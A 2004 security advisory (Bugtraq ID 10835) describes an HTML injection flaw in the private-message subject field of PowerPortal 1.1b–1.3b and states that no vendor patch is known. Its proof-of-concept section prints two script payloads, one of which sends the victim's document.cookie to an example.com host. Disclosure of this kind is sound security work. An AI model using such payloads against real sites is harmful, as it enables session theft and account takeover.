PowerPortal Private Message HTML Injection Vulnerability

BID:10835

Info

PowerPortal Private Message HTML Injection Vulnerability

Bugtraq ID: 10835
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jul 30 2004 12:00AM
Updated: Jul 30 2004 12:00AM
Credit: Discovery of this vulnerability is credited to vamp^ <[email protected]>.
Vulnerable: PowerPortal PowerPortal 1.3 b
PowerPortal PowerPortal 1.3
PowerPortal PowerPortal 1.1 b
Not Vulnerable:

Discussion

PowerPortal Private Message HTML Injection Vulnerability

A vulnerability is reported for PowerPortal which may make it prone to HTML injection attacks. The problem is said to occur due to a lack of sufficient sanitization performed on private message data.

Specifically, when creating PowerPortal private messages, the subject field may not be sufficiently sanitized of malicious content. This may make it possible for an attacker to place HTML or script code within the subject field of a private PowerPortal message for another user.

Exploit / POC

PowerPortal Private Message HTML Injection Vulnerability

The following examples are available:

Subject: <script>alert(document.cookie);</script>
Subject: <script>document.location='http://www.example.com/?'+document.cookie</script>

Solution / Fix

PowerPortal Private Message HTML Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

PowerPortal Private Message HTML Injection Vulnerability

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